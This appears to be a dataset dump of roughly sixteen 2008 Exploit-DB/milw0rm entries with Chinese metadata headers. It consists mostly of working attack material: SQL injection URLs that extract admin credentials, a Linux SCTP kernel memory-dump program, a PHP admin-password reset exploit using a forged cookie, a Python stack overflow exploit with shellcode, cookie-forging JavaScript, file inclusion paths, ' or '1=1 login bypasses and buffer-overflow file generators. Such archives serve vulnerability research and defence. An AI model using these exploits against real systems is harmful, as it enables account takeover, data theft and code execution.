QLWD/code_shield huggingface dataset:
标题: Sepcity Classified - 'ID' SQL Injection EDB-ID: 7613 CVE: 2008-6157 2008-6150 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-29 漏洞利用脚本: --==+================================================================================+==--
--==+             Sepcity Classified Remote SQL Injection Vulnerability              +==--
--==+================================================================================+==--
-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
AUTHOR: S.W.A.T.    -   Www.BaTLaGH.coM   -   svvateam@yahoo.com
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-
Site: http://www.sepcity.com/free_classified_software.aspx
-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
DORK (google): :(
-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
DESCRIPTION:
You Can See Admin User & Password In Plaintext
-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
EXPLOITS:
for username:
www.site.com/[path]/classdis.asp?ID=1%20union%20select%200,1,username,3%20from%20members

for password:
www.site.com/[path]/classdis.asp?ID=1%20union%20select%200,1,password,3%20from%20members

Online Demo:
http://freeasp.sepcity.com/classifieds/classdis.asp?ID=1%20union%20select%200,1,2,3%20from%20members
-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
NOTE/TIP:
Admin Login Is At http://site.com/[path]/admclassifieds.asp
I'll Be   A C I D A L !!!
-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

--==+================================================================================+==--
--==+             Sepcity Classified Remote SQL Injection Vulnerability              +==--
--==+================================================================================+==--

# milw0rm.com [2008-12-29] URL: https://www.exploit-db.com/exploits/7613
标题: Linux Kernel < 2.6.26.4 - SCTP Kernel Memory Disclosure EDB-ID: 7618 CVE: 2008-4113 类型: LOCAL 平台: LINUX 发布日期: 2008-12-29 漏洞利用脚本: /*
 * cve-2008-4113.c
 *
 * Linux Kernel < 2.6.26.4 SCTP kernel memory disclosure
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 * 
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4113
 *
 *   The sctp_getsockopt_hmac_ident function in net/sctp/socket.c in the Stream
 *   Control Transmission Protocol (sctp) implementation in the Linux kernel 
 *   before 2.6.26.4, when the SCTP-AUTH extension is enabled, relies on an 
 *   untrusted length value to limit copying of data from kernel memory, which 
 *   allows local users to obtain sensitive information via a crafted 
 *   SCTP_HMAC_IDENT IOCTL request involving the sctp_getsockopt function.
 *
 * Notes:
 *
 *   If SCTP AUTH is enabled (net.sctp.auth_enable = 1), this exploit allow an 
 *   unprivileged user to dump an arbitrary amount (DUMP_SIZE) of kernel memory
 *   out to a file (DUMP_FILE). If SCTP AUTH is not enabled, the exploit will 
 *   trigger a kernel OOPS.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/sctp.h>

#ifndef SCTP_HMAC_IDENT
#define SCTP_HMAC_IDENT 22
#endif

#define DUMP_SIZE 256*1024
#define DUMP_FILE "mem.dump"

int
main(int argc, char **argv)
{
 int ret, sock;
 FILE *dumpfile;
 char *memdump, *err;
 socklen_t memlen = DUMP_SIZE;

 memdump = malloc(DUMP_SIZE);
 if (!memdump) {
  err = "malloc(3) failed";
  printf("[-] Error: %s (%s)\n", err, strerror(errno));
  return 1;
 }
 memset(memdump, 0, DUMP_SIZE);

 printf("[+] creating IPPROTO_SCTP socket\n");

 sock = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
 if (sock == -1) {
  err = "socket(2) failed";
  printf("[-] Error: %s (%s)\n", err, strerror(errno));
  return 1;
 }

 printf("[+] getting socket option SCTP_HMAC_IDENT with length of %d\n", memlen);

 ret = getsockopt(sock, SOL_SCTP, SCTP_HMAC_IDENT, memdump, &memlen);
 if (ret == -1) {
  err = "getsockopt(2) failed";
  printf("[-] Error: %s (%s)\n", err, strerror(errno));
  return 1;
 }

 printf("[+] dumping %d bytes of kernel memory to %s\n", memlen, DUMP_FILE);

 dumpfile = fopen(DUMP_FILE, "wb");
 if (!dumpfile) {
  err = "fopen(3) failed";
  printf("[-] Error: %s (%s)\n", err, strerror(errno));
  return 1;
 }
 fwrite(memdump, 1, memlen, dumpfile);
 fclose(dumpfile);
 
 printf("[+] done.\n");

 return 0;
}

// milw0rm.com [2008-12-29] URL: https://www.exploit-db.com/exploits/7618
标题: Sepcity Shopping Mall - SQL Injection EDB-ID: 7609 CVE: 2008-6151 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-29 漏洞利用脚本: #By Osmanizim 
#Security Specialist
#Contacts > :(  www.osmanizim.com
#Title: Shopping Mall <=  SQL Injection Vulnerability.
#Demo : http://freeasp.sepcity.com/shopmall/default.asp



//  Exploit -->


http://localhost/shopmall/shpdetails.asp?ID=1 union select 0,1,2,username,password,5,6,7,8,9 from administrators




// Admin -->


http://localhost/shopmall/admlogin.asp?

# milw0rm.com [2008-12-29] URL: https://www.exploit-db.com/exploits/7609
标题: Sepcity Lawyer Portal - SQL Injection EDB-ID: 7610 CVE: 2008-6152 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-29 漏洞利用脚本: #By Osmanizim 
#Security Specialist
#Contacts > :(  www.osmanizim.com
#Title: Lawyer Portal <=  SQL Injection Vulnerability.
#Download:http://www.sepcity.com/free_lawyer_portal_software.aspx
#Demo : http://freeasp.sepcity.com/faculty/default.asp



//  Exploit -->


http://localhost/faculty/deptdisplay.asp?ID=1 union select 0,1,2,3,Username,userpassword,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from Members




// Admin -->


http://localhost/faculty/login.asp

# milw0rm.com [2008-12-29] URL: https://www.exploit-db.com/exploits/7610
标题: TaskDriver 1.3 - Remote Change Admin Password EDB-ID: 7605 CVE: 2008-6919 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-29 漏洞利用脚本: <?php

/*
 $Id: taskdriver-1.3.php,v 0.1 2008/12/03 04:04:28 cOndemned Exp $

 TaskDriver <= 1.3 Remote Change Admin Password Exploit
 Bug found && Exploited by cOndemned
 
 Download:
 
  http://www.taskdriver.com/downtrack/index.php?down=2
 
 
 Description:
 
  This exploit uses insecure cookie handling flaw in order
  to compromisse the system. In the begining its almost like
  the one that Silentz wrote for version 1.2 but not exactly.
  
  Actually there is no need to use sql injection for gaining
  admin password (hash). We can just set cookie value to :
  
   "auth=fook!admin"
   
  access profileedit.php and change his password for whatever
  we want to x]
  
  Next IMO nice thing is that it works both with magic quotes
  on and off :P
 
 -------------------------------------------------------------------
 
 Greetz:
 
  ZaBeaTy, Avantura, l5x, str0ke, d2, sid.psycho & TWT, 0in,
  doctor, Gynvael Coldwind ...
  
  http://www.youtube.com/watch?v=f7O6ekKOE9g
  
*/

 echo "\n[~] TaskDriver <= 1.3 Remote Change Admin Password Exploit";
 echo "\n[~] Bug found && Exploited by cOndemned\n";

 if($argc != 3)
 {
  printf("[!] Usage: php %s <target> <new-password>\n\n", $argv[0]);
  exit;
 }

 list($script, $target, $pass) = $argv;

 $xpl = curl_init();

 curl_setopt_array($xpl, array
  ( 
   CURLOPT_URL  => "{$target}/profileedit.php",
   CURLOPT_COOKIE  => "auth=fook!admin",
   CURLOPT_RETURNTRANSFER => true, 
   CURLOPT_POST  => true,
   CURLOPT_POSTFIELDS => "password={$pass}" 
  ));
 
 $ret = curl_exec($xpl);
 curl_close($xpl);
 
 $out = preg_match_all('#<b>Profile Updated<\/b>#', $ret, $tmp) ? "[+] Done. You can login now\n\n" : "[-] Exploitation failed\n\n";
 
 echo $out;

?>

# milw0rm.com [2008-12-29] URL: https://www.exploit-db.com/exploits/7605
标题: IntelliTamper 2.07/2.08 - 'ProxyLogin' Local Stack Overflow EDB-ID: 7608 CVE: 2008-5868 类型: LOCAL 平台: WINDOWS 发布日期: 2008-12-29 漏洞利用脚本: #usage: exploit.py
print "**************************************************************************"
print " IntelliTamper 2.07/2.08 (ProxyLogin) Local Stack Overflow\n"
print " Author: His0k4"
print " Tested on: Windows XP Pro SP2 Fr\n"
print " Greetings to:"
print " All friends & muslims HaCkers(dz)\n"
print "**************************************************************************"
          

   
header = (
 "\x2F\x2F\x20\x49\x6E\x74\x65\x6C\x6C\x69\x54\x61\x6D\x70"
 "\x65\x72\x20\x63\x6F\x6E\x66\x69\x67\x75\x72\x61\x74\x69"
 "\x6F\x6E\x20\x66\x69\x6C\x65\x0A\x0A\x46\x6F\x6C\x64\x65"
 "\x72\x73\x44\x69\x63\x74\x69\x6F\x6E\x6E\x61\x72\x79\x3D"
 "\x44\x69\x63\x74\x69\x6F\x6E\x6E\x61\x72\x79\x43\x6C\x61"
 "\x73\x73\x69\x63\x2E\x74\x78\x74\x0A\x54\x65\x78\x74\x43"
 "\x61\x74\x61\x6C\x6F\x67\x3D\x43\x3A\x5C\x50\x72\x6F\x67"
 "\x72\x61\x6D\x20\x46\x69\x6C\x65\x73\x5C\x49\x6E\x74\x65"
 "\x6C\x6C\x69\x54\x61\x6D\x70\x65\x72\x5C\x49\x6E\x74\x65"
 "\x6C\x6C\x69\x54\x61\x6D\x70\x65\x72\x5F\x55\x53\x2E\x63"
 "\x61\x74\x0A\x55\x73\x65\x50\x72\x6F\x78\x79\x41\x75\x74"
 "\x68\x3D\x31\x0A\x50\x72\x6F\x78\x79\x4C\x6F\x67\x69\x6E"
 "\x3D"
 )
 
header2 = "\x0A\x50\x72\x6F\x78\x79\x50\x61\x73\x73\x77\x6F\x72\x64\x3D" 
   
buff = "\x41" * 245

EIP = "\x5D\x38\x82\x7C" #call ESP from kernel32.dll

nop = "\x90" * 12  #Blah Blah :D

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode = (
 "\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc9"
 "\x2c\xc9\x40\x83\xeb\xfc\xe2\xf4\x35\xc4\x8d\x40\xc9\x2c\x42\x05"
 "\xf5\xa7\xb5\x45\xb1\x2d\x26\xcb\x86\x34\x42\x1f\xe9\x2d\x22\x09"
 "\x42\x18\x42\x41\x27\x1d\x09\xd9\x65\xa8\x09\x34\xce\xed\x03\x4d"
 "\xc8\xee\x22\xb4\xf2\x78\xed\x44\xbc\xc9\x42\x1f\xed\x2d\x22\x26"
 "\x42\x20\x82\xcb\x96\x30\xc8\xab\x42\x30\x42\x41\x22\xa5\x95\x64"
 "\xcd\xef\xf8\x80\xad\xa7\x89\x70\x4c\xec\xb1\x4c\x42\x6c\xc5\xcb"
 "\xb9\x30\x64\xcb\xa1\x24\x22\x49\x42\xac\x79\x40\xc9\x2c\x42\x28"
 "\xf5\x73\xf8\xb6\xa9\x7a\x40\xb8\x4a\xec\xb2\x10\xa1\xdc\x43\x44"
 "\x96\x44\x51\xbe\x43\x22\x9e\xbf\x2e\x4f\xa8\x2c\xaa\x02\xac\x38"
 "\xac\x2c\xc9\x40"
    )

exploit = header + buff + EIP + nop + shellcode + header2

try:
    out_file = open("exploit.cfg",'w')
    out_file.write(exploit)
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2008-12-29] URL: https://www.exploit-db.com/exploits/7608
标题: Alstrasoft Web Email Script Enterprise - 'id' SQL Injection EDB-ID: 7596 CVE: 2008-5751 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-28 漏洞利用脚本: --AlstraSoft Web Email Script Enterprise (id) Remote SQL Injection Vuln.
############################################
Yazar(Auth0r): Bgh7
 
Site: Http://ozelteam.com Turk BÄ±lÄ±sÄ±m GuclerÄ±
 
PsT: ByBgh7 [at] msn [d0t] c0m
############################################

--Script: http://www.alstrasoft.com/disposable-email-script.htm
 
--Dork: AlstraSoft Web "ESE"

--Dork2: AlstraSoft Web Email Script Enterprise
 
--Expl0it;
--http://web.xxx /Script/ index.php?Act=directory&joinstatus=awesewise&id=-1+union+select+1,2,3,concat_ws(0x3a,admin_login,admin_password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45+from+partners_admin
 
#########
column_name
Ä°d
Passwd
#########

# milw0rm.com [2008-12-28] URL: https://www.exploit-db.com/exploits/7596
标题: OwenPoll 1.0 - Insecure Cookie Handling EDB-ID: 7597 CVE: 2008-6143 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-28 漏洞利用脚本: [START]

####################################################################################################################
[0x01] Informations:

Script         : OwenPoll 1.0
Download       : http://www.hotscripts.com/jump.php?listing_id=75178&jump_type=1
Vulnerability  : Insecure Cookie Handling
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org
Notes          : Proud to be Italian
Greets:        : x0r, emgent, Jay, str0ke, Todd and AlpHaNiX


####################################################################################################################
[0x02] Bug: [Insecure Cookie Handling]
######

Bugged file is: /[path]/checkloginmini.php

[CODE]

    if (($loggedinname == $adminusername) AND ($loggedinpass == $adminpass)){
        // authentication was successful
        // create session and set cookie with username
        session_start();
        $_SESSION['auth'] = 1;
     
        setcookie("username", $_POST['txtusername'], time()+(86400*30));

[/CODE]

If we log in correctly, a cookie is set with name "username" and as content the username name.

[!] FIX: Set as content username's password.

[CODE] setcookie("username", $_POST['txtpassword'], time()+(86400*30)); [/CODE]


[!] EXPLOIT: javascript:document.cookie = "username=admin_username; path=/";
             *admin_username is the nick of the administrator

####################################################################################################################

[/END]

# milw0rm.com [2008-12-28] URL: https://www.exploit-db.com/exploits/7597
标题: ForumApp 3.3 - Remote Database Disclosure EDB-ID: 7599 CVE: 2008-6147 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-28 漏洞利用脚本: ###########################################################

#Title:       ForumApp V3.3 Remote Database Disclosure Vulnerability

#Credit:             Cyber.Zer0          

#E-mail:             Cyber.Zer0[4t]Hotmail[dot]com                                                                                           

#Download:    http://www.aspapp.com/free-asp-forum~

#HomePage:  http://www.aspapp.com/

#Remote:      Yes   

#Dork:            "Powered by ForumApp"                                                                                  

############################################

--=[Database Disclosure]=--

http://target.com/data/8690.mdb
http://target.com/data/8690BAK.mdb

####################################

# milw0rm.com [2008-12-28] URL: https://www.exploit-db.com/exploits/7599
标题: Silentum LoginSys 1.0.0 - Insecure Cookie Handling EDB-ID: 7601 CVE: 2008-6763 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-28 漏洞利用脚本: [START]

####################################################################################################################
[0x01] Informations:

Script         : Silentum LoginSys 1.0.0
Download       : http://www.hotscripts.com/jump.php?listing_id=69667&jump_type=1
Vulnerability  : Insecure Cookie Handling
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org
Notes          : Proud to be Italian
Greets:        : x0r, emgent, Jay, str0ke, Todd and AlpHaNiX


####################################################################################################################
[0x02] Bug: [Insecure Cookie Handling]
######

Bugged file is: /[path]/login2.php

[CODE]

 else {
 setcookie("logged_in", $login_user_name, time()+60*60*24*$logged_in_for, "/");
 header("Location: index.php");
 exit;
 }

[/CODE]

If we log in correctly, a cookie is set with name "logged_in" and as content the username name.

[!] FIX: Set as content username's password.

[CODE] setcookie("logged_in", $login_password, time()+60*60*24*$logged_in_for, "/"); [/CODE]


[!] EXPLOIT: javascript:document.cookie = "logged_in=admin_username; path=/";
             *admin_username is the nick of the administrator

####################################################################################################################

[/END]

# milw0rm.com [2008-12-28] URL: https://www.exploit-db.com/exploits/7601
标题: eDNews 2.0 - Local File Inclusion EDB-ID: 7603 CVE: 2008-5819 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-29 漏洞利用脚本: _____   ____   __   __     _       ____        ____    ____ 
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|



eDNews v2 (lg) Local File Inclusion Vulnerability
Script : http://www.mirrorservice.org/sites/download.sourceforge.net/pub/sourceforge/e/ed/edscontacts/eDNews_v2.zip
Poc : /eDNews_archive.php?lg=../../../../index
Vuln Code :
File eDNews_archive.php

require_once dirname( __FILE__ ).'/myConfig.php';<< 1
require_once dirname( __FILE__ ).'/languages/'.$CONFIG['language'].'.php'; << 2

File myConfig.php

if ( isset( $_REQUEST['lg'] ) ) { 
    $CONFIG['language'] = $_REQUEST['lg']; 

        ____           _           _           __  __ 
       / ___|   ___   | |       __| |         |  \/  |
      | |  _   / _ \  | |      / _` |         | |\/| |
      | |_| | | (_) | | |___  | (_| |         | |  | |
       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
                                      |_____|         

# milw0rm.com [2008-12-29] URL: https://www.exploit-db.com/exploits/7603
标题: webClassifieds 2005 - Authentication Bypass EDB-ID: 7602 CVE: 2008-5817 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-29 漏洞利用脚本: ************************************************************
**    webClassifiedsÂ™Â© 2005 Admin Login Bypass vulnerability
************************************************************
**  Prodcut:  webClassifiedsÂ™Â© 2005    
**  Home   :   http://www.webscribble.com/
**  Vunlerability :  Admin Bypass
**  Risk  :   low
**  Dork :   "powered by webClassifieds"
************************************************************
** Discovred by: AnGeL25dZ
** From        : Constantine - Algeria
** Contact     :  angel25dz@gmail.com 
** *********************************************************
** Greetz to :  ALLAH 
**   All Members of HackTeachTeam    http://www.hackteach.org/
**    cold zero, Ra3ch, His0k4
************************************************************
**  Exploit:
**  http://[PATH]//classifieds/index.php?page=sign_in
**
**  user :              admin      /        user :           ' or '1=1
**  password :     ' or '1=1   /        password:    ' or '1=1
**  
****************************************************************
** Live demo : http://www.towpartners.com/classifieds/index.php?page=sign_in
****************************************************************

# milw0rm.com [2008-12-29] URL: https://www.exploit-db.com/exploits/7602
标题: PHP-Fusion Mod TI - 'id' SQL Injection EDB-ID: 7598 CVE: 2008-5733 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-28 漏洞利用脚本: #####################################################################################
####               PHP-Fusion Mod TI - Blog System Sql Injection                ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr) - Hadi Kiamarsi
#####################################################################################
#                                                                                   #
#Download : http://www.phpfusion-mods.net/infusions/downloads/dldb.php?op=view&id=157
#                                                                                   #
#####################################################################################
#                                      [Bug]                                        #
#                                                                                   #
#http://Site/[path]/blog.php?page=blog_id&id=-9999'+union+select+0,1,2,user_name,user_password,5+from+fusion_users/*
#                                                                                   #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
###################################### TNX GOD ######################################

# milw0rm.com [2008-12-28] URL: https://www.exploit-db.com/exploits/7598
标题: eDContainer 2.22 - Local File Inclusion EDB-ID: 7604 CVE: 2008-5818 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-29 漏洞利用脚本: _____   ____   __   __     _       ____        ____    ____ 
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|



eDContainer v2.22 (lg) Local File Inclusion Vulnerability
Script : http://www.mirrorservice.org/sites/download.sourceforge.net/pub/sourceforge/e/ed/edscontacts/eDContainer_v222.zip
Poc : /index.php?lg=../../../../index
Vuln Code :
File index.php

if ( isset($_REQUEST['lg']) ) { $INDEX['currentLanguage'] = $_REQUEST['lg']; } else if ( !isset( $INDEX['currentLanguage'] ) ) { 
  $INDEX['currentLanguage']  = $CONFIG['language']['default'];
}
require_once 'myContents_'.$INDEX['currentLanguage'].'.php';
        ____           _           _           __  __ 
       / ___|   ___   | |       __| |         |  \/  |
      | |  _   / _ \  | |      / _` |         | |\/| |
      | |_| | | (_) | | |___  | (_| |         | |  | |
       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
                                      |_____|         

# milw0rm.com [2008-12-29] URL: https://www.exploit-db.com/exploits/7604
标题: Miniweb 2.0 - Authentication Bypass EDB-ID: 7586 CVE: 2008-6582 2008-2197 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-28 漏洞利用脚本: ##############################################################################
# Miniweb 2.0 Admin bypass
##############################################################################
# Type:
# 'union select 1#
# in the username field and press login, you are admin!
#
# download: http://www.miniweb2.com/
##############################################################################
# Found by bizzit
#
# Contact: bizzit[at]live.de
##############################################################################
# Greetz to:
# Suicide, ReED, h0yt3r, J0hn^x3r, tmh, n00bor, Five-Three-Nine, electron1x,
# Nazrek, Free-Hack and Sys-Flaw
##############################################################################

# milw0rm.com [2008-12-28] URL: https://www.exploit-db.com/exploits/7586
标题: BulletProof FTP Client - '.bps' Local Stack Overflow (PoC) EDB-ID: 7589 CVE: 2008-5754 类型: DOS 平台: WINDOWS 发布日期: 2008-12-28 漏洞利用脚本: #!/usr/bin/perl
########################################
#[*] Bug : BulletProof FTP Client .bps Local Stack Overflow (PoC)
#[*] Founded by : Mountassif Moad
#[*] Greetz : All Freind Str0ke
#[*] HOw to use => go to file after Load BP session & Enter and boom :d overflowing :d
########################################
use warnings;
use strict;
my $chars   = "This is a BulletProof FTP Client Session-File and should not be modified directly.\n" .
                        "\x41" x 100 .
      "\n21\n".
      "Stack\n".
      "bpfhljamedaldlffpojmqhpo\n".
                        "c:\/\n" .
                        "/\n";
my $file="Stack.bps";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file has been created \n";
print "Credits:Stack";

# milw0rm.com [2008-12-28] URL: https://www.exploit-db.com/exploits/7589
标题: Hex Workshop 5.1.4 - Color Mapping File Local Buffer Overflow (PoC) EDB-ID: 7592 CVE: 2008-5756 类型: DOS 平台: WINDOWS 发布日期: 2008-12-28 漏洞利用脚本: # Hex Workshop 5.1.4 (Color Mapping File) Local Buffer Overflow Poc
# other versions are affected 
# 
# By:Encrypt3d.M!nd
# Merry Christmas & Happy New Year 2009
#
# Greetz:-=Mizo=-(Perra :-l),L!0N,El Mariachi,MiNi SpIder,GGY,and all my friends
################################################################################
#
# Just import (enc.cmap) From (Tools>Color Mapping) And See What Happen ^_^
# I Think it's Easy To Exploit but need some work *_^

chars = "A"*4500

foot = "\x20\x3D\x20\x52\x47\x42\x28\x30\x2C\x20\x30\x2C\x20\x30\x29\x2C\x20\x52\x47\x42\x28\x31\x36\x30\x2C\x20\x31\x36\x30\x2C\x20\x31\x36\x30\x29"

file=open('enc.cmap','w+')
file.write("\x22"+chars+"\x22"+foot)
file.close()

# milw0rm.com [2008-12-28] URL: https://www.exploit-db.com/exploits/7592